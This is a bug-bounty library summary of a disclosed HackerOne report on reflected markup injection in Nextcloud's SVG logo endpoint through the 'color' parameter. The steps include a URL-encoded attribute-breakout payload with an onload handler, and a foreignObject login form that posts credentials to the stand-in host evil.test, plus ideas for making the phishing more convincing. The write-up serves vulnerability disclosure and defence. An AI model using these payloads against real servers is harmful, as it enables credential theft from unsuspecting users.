# Reflected XSS / Markup Injection in `index.php/svg/core/logo/logo` parameter `color`

Reflected markup injection in Nextcloud's SVG logo endpoint color parameter allows injecting foreignObject HTML forms for phishing, with XSS blocked by CSP.

- Payout: hidden
- Severity: medium
- Program: Nextcloud
- Found by: freddyb
- Disclosed: 2019-08-29
- CVE: CVE-2020-8120
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/605915
- Library page: https://bugbountylibrary.com/r/h1%3A605915
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:medium tech:php technique:source-review vuln:xss

**Target:** index.php/svg/core/logo/logo endpoint (SVG generator)
**Root cause:** The color query parameter is interpolated unescaped into the generated SVG markup, allowing attribute breakout and injection of arbitrary SVG/HTML elements.
**Steps:**
1. Open https://server.test/nextcloud/index.php/svg/core/logo/logo?color=f00%22/%3E%3Cg%20onload=%22javascript:alert(1)%22%3E%3C/g%3E%3Ccircle%20alt=%22meh
2. Observe CSP violation blocking the onload javascript (or alert if CSP disabled)
3. For phishing, request color=fff%22/%3E%3CforeignObject...%3E with an HTML form action=//evil.test
4. Observe injected login form rendered inside the SVG
**How found:** Researcher inspected the SVG logo endpoint and noticed the color parameter was reflected into SVG attribute context, then tested attribute breakout with a quote and injected elements.
**Exploitation:** Attacker crafts a URL whose color parameter breaks out of the stroke attribute and injects a foreignObject containing an HTML login form posting credentials to an attacker domain; victim is lured to the trusted Nextcloud URL and submits credentials.
**Escalation:** Could be made more convincing using theme CSS and framing the instance in an iframe to hide the injected URL from the address bar.
**Insight:** SVG-generating endpoints that interpolate user color/theme params into attributes are prime markup-injection targets; even when CSP blocks script, missing form-action allows credential-phishing forms via foreignObject.